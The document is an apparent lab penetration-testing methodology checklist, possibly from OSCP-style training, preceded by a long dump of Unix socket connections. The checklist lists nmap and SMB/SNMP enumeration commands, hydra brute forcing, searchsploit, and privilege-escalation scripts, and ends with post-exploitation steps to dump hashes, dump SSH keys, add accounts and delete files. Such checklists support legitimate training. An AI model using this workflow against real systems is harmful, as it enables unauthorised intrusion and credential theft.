unix 3 [ ] STREAM CONNECTED 21803
unix 2 [ ] STREAM CONNECTED 27325
unix 2 [ ] DGRAM 17562
unix 3 [ ] STREAM CONNECTED 22354 /var/run/dbus/system_bus_socket
unix 3 [ ] STREAM CONNECTED 19369
unix 3 [ ] STREAM CONNECTED 22131 @/tmp/dbus-pmtrmqSxL0
unix 3 [ ] STREAM CONNECTED 21605 /run/systemd/journal/stdout
unix 2 [ ] DGRAM 27089
unix 2 [ ] DGRAM 18491
unix 3 [ ] STREAM CONNECTED 22235
unix 3 [ ] STREAM CONNECTED 21771
unix 3 [ ] STREAM CONNECTED 14851 /run/systemd/journal/stdout
unix 3 [ ] STREAM CONNECTED 22089 @/tmp/dbus-pmtrmqSxL0
unix 3 [ ] STREAM CONNECTED 21568
unix 3 [ ] STREAM CONNECTED 22339
unix 3 [ ] STREAM CONNECTED 22124
unix 3 [ ] STREAM CONNECTED 20582
unix 3 [ ] STREAM CONNECTED 22093
unix 3 [ ] STREAM CONNECTED 21646 @/tmp/dbus-pmtrmqSxL0
unix 3 [ ] STREAM CONNECTED 21454 @/tmp/.X11-unix/X0
unix 3 [ ] STREAM CONNECTED 18189 /run/systemd/journal/stdout
unix 3 [ ] STREAM CONNECTED 21769
unix 3 [ ] STREAM CONNECTED 21597
unix 3 [ ] STREAM CONNECTED 27234
unix 3 [ ] STREAM CONNECTED 18304
unix 3 [ ] STREAM CONNECTED 22135 @/tmp/.X11-unix/X0
unix 3 [ ] STREAM CONNECTED 20326
unix 3 [ ] STREAM CONNECTED 21397
unix 3 [ ] STREAM CONNECTED 21654
unix 3 [ ] STREAM CONNECTED 22125 /run/user/108/pulse/native
unix 3 [ ] STREAM CONNECTED 22107 /run/user/108/pulse/native
unix 3 [ ] STREAM CONNECTED 22032
unix 3 [ ] STREAM CONNECTED 22122
unix 3 [ ] STREAM CONNECTED 21603
unix 3 [ ] STREAM CONNECTED 18496
unix 3 [ ] STREAM CONNECTED 22145 /var/run/dbus/system_bus_socket
unix 2 [ ] DGRAM 21281
unix 3 [ ] STREAM CONNECTED 22103 @/tmp/dbus-pmtrmqSxL0
unix 3 [ ] STREAM CONNECTED 21589 @/tmp/.X11-unix/X0
unix 3 [ ] STREAM CONNECTED 22091 /var/run/dbus/system_bus_socket

```



unix	3	[ ]	STREAM	CONNECTED	17566	/run/systemd/journal/stdout
unix	3	[ ]	STREAM	CONNECTED	21335	
unix	3	[ ]	STREAM	CONNECTED	22136	
unix	3	[ ]	STREAM	CONNECTED	21770	/var/run/dbus/system_bus_socket
unix	3	[ ]	STREAM	CONNECTED	20583	/var/run/dbus/system_bus_socket
unix	3	[ ]	STREAM	CONNECTED	21608	@/tmp/dbus-pmtrmqSxLO
unix	3	[ ]	STREAM	CONNECTED	21453	
unix	3	[ ]	STREAM	CONNECTED	27179	
unix	3	[ ]	STREAM	CONNECTED	18659	/run/systemd/journal/stdout
unix	3	[ ]	STREAM	CONNECTED	22134	
unix	3	[ ]	STREAM	CONNECTED	20594	/run/systemd/journal/stdout
unix	3	[ ]	STREAM	CONNECTED	21569	/run/systemd/journal/stdout
unix	2	[ ]	DGRAM		14640	
unix	3	[ ]	STREAM	CONNECTED	22236	/var/run/dbus/system_bus_socket
unix	3	[ ]	STREAM	CONNECTED	17503	
unix	3	[ ]	STREAM	CONNECTED	21336	
unix	3	[ ]	STREAM	CONNECTED	18494	
unix	3	[ ]	STREAM	CONNECTED	22094	/var/run/dbus/system_bus_socket
unix	3	[ ]	STREAM	CONNECTED	21607	
unix	2	[ ]	DGRAM		17663	
unix	2	[ ]	DGRAM		27185	
unix	3	[ ]	STREAM	CONNECTED	21656	/run/systemd/journal/stdout
unix	3	[ ]	STREAM	CONNECTED	22102	
unix	3	[ ]	STREAM	CONNECTED	17389	
unix	2	[ ]	DGRAM		27195	
unix	3	[ ]	STREAM	CONNECTED	18305	/run/systemd/journal/stdout
unix	3	[ ]	STREAM	CONNECTED	22144	
unix	3	[ ]	STREAM	CONNECTED	21184	/var/run/dbus/system_bus_socket
unix	3	[ ]	STREAM	CONNECTED	21570	
unix	2	[ ]	DGRAM		16944	
unix	3	[ ]	STREAM	CONNECTED	22353	
unix	3	[ ]	STREAM	CONNECTED	19357	/run/systemd/journal/stdout
unix	3	[ ]	STREAM	CONNECTED	22137	/var/run/dbus/system_bus_socket
unix	3	[ ]	STREAM	CONNECTED	21804	/var/run/dbus/system_bus_socket
unix	3	[ ]	STREAM	CONNECTED	21138	
unix	2	[ ]	DGRAM		14488	
unix	3	[ ]	STREAM	CONNECTED	21606	/run/systemd/journal/stdout
unix	3	[ ]	STREAM	CONNECTED	17666	
unix	3	[ ]	STREAM	CONNECTED	22123	@/tmp/dbus-pmtrmqSxLO
unix	3	[ ]	STREAM	CONNECTED	22088	
unix	3	[ ]	STREAM	CONNECTED	21602	
unix	3	[ ]	STREAM	CONNECTED	23130	/var/run/dbus/system_bus_socket
unix	3	[ ]	STREAM	CONNECTED	19389	/var/run/dbus/system_bus_socket
unix	3	[ ]	STREAM	CONNECTED	19872	
unix	3	[ ]	STREAM	CONNECTED	21274	
unix	3	[ ]	STREAM	CONNECTED	20021	/run/systemd/journal/stdout
unix	3	[ ]	STREAM	CONNECTED	21841	@/tmp/.X11-unix/X0
unix	3	[ ]	STREAM	CONNECTED	21440	
unix	3	[ ]	DGRAM		15780	
unix	3	[ ]	STREAM	CONNECTED	21657	/run/systemd/journal/stdout
unix	3	[ ]	STREAM	CONNECTED	21820	

unix	3	[ ]	STREAM	CONNECTED	23144	
unix	3	[ ]	STREAM	CONNECTED	20085	/var/run/dbus/system_bus_socket
unix	3	[ ]	STREAM	CONNECTED	21808	@/tmp/dbus-pmtrmqSxL0
unix	3	[ ]	STREAM	CONNECTED	21744	/var/run/dbus/system_bus_socket
unix	2	[ ]	DGRAM		15775	
unix	3	[ ]	STREAM	CONNECTED	21870	
unix	3	[ ]	STREAM	CONNECTED	21662	
unix	3	[ ]	STREAM	CONNECTED	21818	
unix	3	[ ]	STREAM	CONNECTED	22108	
unix	3	[ ]	STREAM	CONNECTED	17668	/var/run/dbus/system_bus_socket
unix	2	[ ]	STREAM	CONNECTED	23150	
unix	3	[ ]	STREAM	CONNECTED	18854	/var/run/dbus/system_bus_socket
unix	3	[ ]	STREAM	CONNECTED	21848	
unix	3	[ ]	STREAM	CONNECTED	23043	/run/systemd/journal/stdout
unix	3	[ ]	DGRAM		15781	
unix	3	[ ]	STREAM	CONNECTED	21278	/run/systemd/journal/stdout
unix	3	[ ]	STREAM	CONNECTED	22104	
unix	3	[ ]	STREAM	CONNECTED	22113	@/tmp/dbus-INTtRPfIPF
unix	3	[ ]	STREAM	CONNECTED	21840	
unix	3	[ ]	STREAM	CONNECTED	23129	
unix	3	[ ]	STREAM	CONNECTED	21674	/var/run/dbus/system_bus_socket
unix	3	[ ]	STREAM	CONNECTED	17667	
unix	2	[ ]	DGRAM		22448	
unix	3	[ ]	STREAM	CONNECTED	21559	@/tmp/dbus-INTtRPfIPF
unix	3	[ ]	STREAM	CONNECTED	19388	
unix	3	[ ]	STREAM	CONNECTED	21877	@/tmp/dbus-INTtRPfIPF
unix	3	[ ]	STREAM	CONNECTED	22112	
unix	3	[ ]	STREAM	CONNECTED	21847	
unix	2	[ ]	STREAM	CONNECTED	23137	
unix	3	[ ]	STREAM	CONNECTED	18673	
unix	3	[ ]	STREAM	CONNECTED	23124	/run/systemd/journal/stdout
unix	3	[ ]	DGRAM		21889	
unix	3	[ ]	STREAM	CONNECTED	21867	/var/run/dbus/system_bus_socket
unix	2	[ ]	DGRAM		17588	
unix	3	[ ]	STREAM	CONNECTED	23123	
unix	3	[ ]	DGRAM		15782	
unix	3	[ ]	DGRAM		21888	
unix	3	[ ]	STREAM	CONNECTED	23145	/var/run/dbus/system_bus_socket
unix	3	[ ]	STREAM	CONNECTED	21821	@/tmp/dbus-pmtrmqSxL0
unix	3	[ ]	STREAM	CONNECTED	19873	/run/systemd/journal/stdout
unix	3	[ ]	STREAM	CONNECTED	22109	/run/user/108/pulse/native
unix	3	[ ]	STREAM	CONNECTED	18657	/var/run/dbus/system_bus_socket
unix	3	[ ]	STREAM	CONNECTED	21871	@/tmp/dbus-pmtrmqSxL0
unix	3	[ ]	STREAM	CONNECTED	23148	
unix	3	[ ]	DGRAM		15779	
unix	3	[ ]	STREAM	CONNECTED	21819	/var/run/dbus/system_bus_socket
unix	3	[ ]	STREAM	CONNECTED	18674	/var/run/dbus/system_bus_socket
unix	3	[ ]	STREAM	CONNECTED	21663	@/tmp/dbus-pmtrmqSxL0
unix	3	[ ]	STREAM	CONNECTED	20015	
unix	3	[ ]	STREAM	CONNECTED	18578	
unix	3	[ ]	STREAM	CONNECTED	21673	

# Methodology

## Network Scanning

- ☐ nmap -sn 10.11.1.\*
- ☐ nmap -sL 10.11.1.\*
- ☐ nbtscan -r 10.11.1.0/24
- ☐ [smbtree](#)

## Individual Host Scanning

- ☐ nmap --top-ports 20 --open -iL iplist.txt
- ☐ nmap -sS -A -sV -O -p- ipaddress
- ☐ nmap -sU ipaddress

## Service Scanning

### WebApp

- ☐ [Nikto](#)
- ☒ [dirb](#)
- ☒ dirbuster
- ☐ [wpscan](#)
- ☐ dotdotpwn
- ☒ view source
- ☐ davtest\cadevar
- ☐ droopscan
- ☐ joomscan
- ☐ LFI\RFI Test

### Linux\Windows

- ☐ snmpwalk -c public -v1 *ipaddress* 1
- ☐ smbclient -L //ipaddress
- ☐ showmount -e ipaddress port
- ☐ rpcinfo
- ☐ Enum4Linux

### Anything Else

- ☐ [nmap scripts](#) (locate \*nse\* | grep servicename)
- ☒ [hydra](#)
- ☐ MSF Aux Modules
- ☐ Download the software

## Exploitation

- ☐ Gather Version Numbes
- ☐ Searchsploit
- ☐ Default Creds
- ☐ Creds Previously Gathered
- ☐ Download the software

## Post Exploitation

### Linux

- ☐ linux-local-enum.sh
- ☐ linuxprivchecker.py
- ☐ linux-exploit-suggestor.sh
- ☐ unix-privesc-check.py

### Windows

- ☐ wpc.exe
- ☐ windows-exploit-suggestor.py
- ☐ [windows\\_privesc\\_check.py](#)



- ☐ windows-privesc-check2.exe

### **Priv Escalation**

- ☐ [access internal services \(portfwd\)](#)
- ☐ add account

### **Windows**

- ☐ List of exploits

### **Linux**

- ☐ sudo su
- ☐ KernelDB
- ☐ Searchsploit

### **Final**

- ☒ Screenshot of IPConfig\WhoamI
- ☒ Copy proof.txt
- ☐ Dump hashes
- ☐ Dump SSH Keys
- ☐ Delete files